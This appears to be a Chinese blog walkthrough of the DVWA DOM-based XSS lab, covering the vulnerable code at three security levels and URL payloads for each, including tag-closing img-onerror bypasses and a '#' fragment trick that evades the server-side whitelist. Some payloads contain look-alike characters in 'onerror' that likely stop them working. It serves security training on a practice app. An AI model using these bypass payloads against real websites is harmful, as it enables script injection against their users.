DVWA-XSS(DOM)

DOM 型 XSS(DOM-Based Cross-Site Scripting)是跨站脚本攻击的一种特殊类型,与传统的存储型 XSS、反射型 XSS 不同,它完全发生在客户端(浏览器),服务端不会参与恶意代码的解析和返回,而是通过篡改浏览器的 DOM(文档对象模型)结构,执行注入的恶意脚本。

  1. DOM 的作用 :浏览器加载页面后,会将 HTML 解析为 DOM 树,JavaScript 通过操作 DOM 树(如document.getElementByIdlocation.hrefdocument.write等)动态更新页面内容。
  2. 漏洞成因 :当 JavaScript未对用户可控的输入(如 URL 参数、表单值、Cookie)进行过滤 / 转义,直接将其插入到 DOM 树中时,攻击者可构造恶意输入,使浏览器执行注入的脚本。
  3. 核心特征
    • 恶意代码不经过服务端,服务端返回的页面源码中无恶意内容;
    • 攻击仅发生在客户端,抓包无法在请求 / 响应中看到恶意脚本(区别于反射型 / 存储型);
    • 依赖客户端 JavaScript 对 DOM 的动态操作。

low

1、代码审计

复制代码
<?php
没有保护措施,什么都行
# No protections, anything goes

?>

2、构造 URL,弹窗测试

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>

medium

1、代码审计

复制代码
<?php

// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为空(null)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    // 将GET请求中'default'参数的值赋值给变量$default,用于后续校验
    $default = $_GET['default'];
    
    # 注释:禁止包含script标签的输入(服务端的基础XSS过滤)
    // 使用stripos函数(不区分大小写)查找$default中是否包含"<script"字符串
    // stripos返回匹配字符串的起始位置,若未找到则返回false
    if (stripos ($default, "<script") !== false) {
        // 若检测到包含"<script",则重定向到当前页面,且将default参数强制设为"English"
        header ("location: ?default=English");
        // 终止后续代码执行,防止恶意输入被传递到客户端
        exit;
    }
}

?>

禁止了script标签,当检测到<script>标签时,重定向到安全默认值

2、标签闭合绕过

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(1)>

或者

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert("xss_dom")>

3、构造option与select双闭合

<select> 标签用于定义下拉菜单,其内部只能包含 <option> 或 <optgroup> 子标签,不能直接包含其他标签(如 <script> 或 <img>)。

浏览器解析时,会严格限定 <select> 标签内的合法子元素,非 <option>/<optgroup> 的标签会被视为无效内容,可能被浏览器自动修正或忽略。

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\>/option></select><img src=1 οnerrοr=alert('xss_dom')>

4、构造select单闭合

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=\</select><img src=1 οnerrοr=alert('xss_dom')>

high

1、代码审计

复制代码
<?php

// 检查两个条件:1. GET请求中是否存在名为'default'的参数;2. 该参数的值不为null(非空)
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # 注释:对允许的语言设置白名单(仅允许指定的几个合法值)
    // 使用switch语句匹配GET请求中'default'参数的值
    switch ($_GET['default']) {
        // 定义合法值白名单:French、English、German、Spanish
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok:若参数值是上述合法值,执行break跳出switch,不做任何拦截
            break;
        // 若参数值不在白名单中(匹配default分支)
        default:
            // 重定向到当前页面,并强制将default参数设为English
            header ("location: ?default=English");
            // 终止后续代码执行,防止非法值传递到客户端
            exit;
    }
}

?>

采用了白名单校验 的方式限制default参数的合法值,是比 Medium 级别更严格的防护手段,从根源上缩小了用户可控输入的范围。

  • 使用#符号来使URL传入内容被截断,URL栏的 # 号之后的内容并不会发送至服务器端
  • 但是js语言中#号并不会被截断,会使得default传入的所有内容都会完整传入。

2、

复制代码
http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("xss_dom")</script>
刷新一下

或者

http://192.168.3.42/dvwa/vulnerabilities/xss_d/?default=English #</select><img src=0 οnerrοr=alert('xss_dom')>

加入##符号来使URL传入内容被截断就行,low和medium的方法都可以尝试

相关推荐
lichenyang4531 天前
Docker 学习笔记(一):为什么需要镜像、容器和仓库?
前端
kyriewen1 天前
别再对着 TypeScript 报错发呆了:我把 10 个最常见的红色波浪线翻译成了人话
前端·javascript·typescript
IT_陈寒1 天前
SpringBoot自动配置的坑,我的API突然就404了
前端·人工智能·后端
free351 天前
从 0 实现一个 Tiny JavaScript VM:项目架构拆解
javascript
奇奇怪怪的1 天前
Embedding 模型 10+ 横向评测
前端
陈广亮1 天前
Monorepo 从 0 到 1 实操指南 2026 版:pnpm catalogs + Turborepo 2.x + changesets 全链路
前端
子兮曰1 天前
OpenMontage 深度解剖:你的 AI 编程助手,其实是个视频工作室
前端·后端·ai编程
敲代码的鱼1 天前
PDF 预览与签名批注写回 支持安卓 iOS 鸿蒙 UTS插件
android·前端·ios
子兮曰1 天前
前端工具链的「Rust 化」:一场没有赢家的军备竞赛?
前端·后端·rust